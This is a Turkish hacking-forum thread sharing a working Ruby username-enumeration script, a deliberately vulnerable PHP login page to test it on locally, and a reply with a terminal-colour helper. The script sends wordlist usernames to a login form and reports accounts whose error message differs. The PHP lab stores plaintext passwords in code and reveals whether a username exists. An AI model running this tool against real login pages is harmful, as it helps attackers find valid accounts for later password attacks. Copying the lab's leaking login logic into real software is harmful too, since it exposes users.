User Enumeration Tool | Ruby

GHOSTJEONSA

Yeni üye
5 May 2020
44
21
Ruby ile basit bir Username Enumeration aracı yazdım.
Enumeration nedir? diyorsanız önce User Enumeration Nedir? konuma göz atmalısınız!
optparse, net/http ve colorize kütüphaneleri kullanılmıştır.

Ruby:
require 'optparse'
require 'net/http'
require 'colorize'

options = {}

opt_parser = OptionParser.new do |opts|
    opts.banner = "Usage : enum.rb -w [WORDLİST] -u [host ip / URL] -h [help]"
    opts.on("-w usernames") do |usernames|
        options[:usernames] = usernames
    end
    opts.on("-u host") do |host|
        options[:host] = host
    end
    opts.on("-h") do
        puts opts
        exit
    end
end
opt_parser.parse!
dosya_yolu = options[:usernames]
usernames = File.readlines(options[:usernames]).map(&:strip)
puts "
 ░░░░░██╗███████╗░█████╗░███╗░░██╗░██████╗░█████╗░
 ░░░░░██║██╔════╝██╔══██╗████╗░██║██╔════╝██╔══██╗
 ░░░░░██║█████╗░░██║░░██║██╔██╗██║╚█████╗░███████║
 ██╗░░██║██╔══╝░░██║░░██║██║╚████║░╚═══██╗██╔══██║
 ╚█████╔╝███████╗╚█████╔╝██║░╚███║██████╔╝██║░░██║
 ░╚════╝░╚══════╝░╚════╝░╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝
 
 ███████╗███╗░░██╗██╗░░░██╗███╗░░░███╗███████╗██████╗░░█████╗░████████╗░█████╗░██████╗░
 ██╔════╝████╗░██║██║░░░██║████╗░████║██╔════╝██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
 █████╗░░██╔██╗██║██║░░░██║██╔████╔██║█████╗░░██████╔╝███████║░░░██║░░░██║░░██║██████╔╝
 ██╔══╝░░██║╚████║██║░░░██║██║╚██╔╝██║██╔══╝░░██╔══██╗██╔══██║░░░██║░░░██║░░██║██╔══██╗
 ███████╗██║░╚███║╚██████╔╝██║░╚═╝░██║███████╗██║░░██║██║░░██║░░░██║░░░╚█████╔╝██║░░██║
 ╚══════╝╚═╝░░╚══╝░╚═════╝░╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝".colorize(:cyan)
# Yanıtı kontrol etme
found = []
usernames.each do |username|  
        host = options[:host]
        url = URI(host)      
        data = {
         'username' => username,
         'password' => 'sifre'}
        request = Net::HTTP::Post.new(url.path)
        request.set_form_data(data)
        response = Net::HTTP.start(url.host, url.port) do |http|
           http.request(request)
        end
       
case response
when Net::HTTPSuccess
         response_body = response.body.force_encoding('UTF-8')        
         if response_body.include?("Kullanıcı adı yanlış!")
            puts "#{username} ==> YANLIŞ!".colorize(:red)
         else
            puts "Kullanıcı Bulundu. Kullanıcı adı : #{username}".colorize(:green)
            found << username
         end
else
    puts "İstek basarisiz oldu. Hata kodu: #{response.code}, Hata mesaji: #{response.message}"
end
end
puts
puts "Bulunan kullanıcılar: #{found.join(', ')}".colorize(:blue) if found.any?

Zafiyete uygun php lab kodu:
PHP:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Giriş Formu</title>
</head>
<body>
    <h2>Giriş Formu</h2>
    <form method="post">
        <label for="username">Kullanıcı Adı:</label><br>
        <input type="text" id="username" name="username"><br>
        <label for="password">Şifre:</label><br>
        <input type="password" id="password" name="password"><br><br>
        <input type="submit" value="Giriş Yap">
    </form>

    <?php
    // Kullanıcı adı ve şifrelerin saklandığı dizi
    $users = array(
        "adminim" => "sifrem",
        "user1" => "sifre1",
        "user2" => "sifre2"
        // İstediğiniz kadar kullanıcı adı ve şifresini buraya ekleyebilirsiniz
    );

    // Kullanıcı adı ve şifre kontrolü
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $inputUsername = $_POST["username"];
        $inputPassword = $_POST["password"];

        // Kullanıcı adı doğrulama
        if (array_key_exists($inputUsername, $users)) {
            if ($inputPassword === $users[$inputUsername]) {
                echo "<p>Giriş Başarılı!</p>";
            } else {
                echo "<p style='color:red;'>Şifre yanlış!</p>";
            }
        } else {
            echo "<p style='color:red;'>Kullanıcı adı yanlış!</p>";
        }
    }
    ?>
</body>
</html>

Php kodunu localde çalıştırıp toolu deneyebilirsiniz.
1 - 2 ufak şey ekleyip github linki de paylaşacağım.

ruby enumerator.rb -u http://127.0.0.1/login.php -w user.txt ile kullanabilirsiniz!
ruby enumerator.rb -h ile kullanım detaylarına erişebilirsiniz!
 

Bunjo

Ar-Ge Ekibi Asistanı
14 Ara 2020
1,605
1,927
Senior Ruby
Eline sağlık dostum. 👏

Colorize kurmak yerine koduna ekleyebilirsin.

Ruby:
class String
  def red;         colorize(self, "\e[1m\e[31m"); end
  def dark_red;    colorize(self, "\e[31m");      end
  def green;       colorize(self, "\e[1m\e[32m"); end
  def dark_green;  colorize(self, "\e[32m");      end
  def yellow;      colorize(self, "\e[1m\e[33m"); end
  def dark_yellow; colorize(self, "\e[33m");      end
  def blue;        colorize(self, "\e[1m\e[34m"); end
  def dark_blue;   colorize(self, "\e[34m");      end
  def purple;      colorize(self, "\e[1;35m");    end
  def dark_purple; colorize(self, "\e[35m");      end
  def cyan;        colorize(self, "\e[1;36m");    end
  def dark_cyan;   colorize(self, "\e[36m");      end
  def black;       colorize(self, "\e[30m");      end
  def grey;        colorize(self, "\e[90m");      end
  def white;       colorize(self, "\e[37m");      end
  def reset;       colorize(self, "\e[0m\e[28m"); end
  def bold;        colorize(self, "\e[1m");       end
  def colorize(text, color_code)  "#{color_code}#{text}\e[0m" end
end
 

GHOSTJEONSA

Yeni üye
5 May 2020
44
21
Eline sağlık dostum. 👏

Colorize kurmak yerine koduna ekleyebilirsin.

Ruby:
class String
  def red;         colorize(self, "\e[1m\e[31m"); end
  def dark_red;    colorize(self, "\e[31m");      end
  def green;       colorize(self, "\e[1m\e[32m"); end
  def dark_green;  colorize(self, "\e[32m");      end
  def yellow;      colorize(self, "\e[1m\e[33m"); end
  def dark_yellow; colorize(self, "\e[33m");      end
  def blue;        colorize(self, "\e[1m\e[34m"); end
  def dark_blue;   colorize(self, "\e[34m");      end
  def purple;      colorize(self, "\e[1;35m");    end
  def dark_purple; colorize(self, "\e[35m");      end
  def cyan;        colorize(self, "\e[1;36m");    end
  def dark_cyan;   colorize(self, "\e[36m");      end
  def black;       colorize(self, "\e[30m");      end
  def grey;        colorize(self, "\e[90m");      end
  def white;       colorize(self, "\e[37m");      end
  def reset;       colorize(self, "\e[0m\e[28m"); end
  def bold;        colorize(self, "\e[1m");       end
  def colorize(text, color_code)  "#{color_code}#{text}\e[0m" end
end
Teşekkür ederim ilerleyen çalışmalarımda mutlaka kullanacağım.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.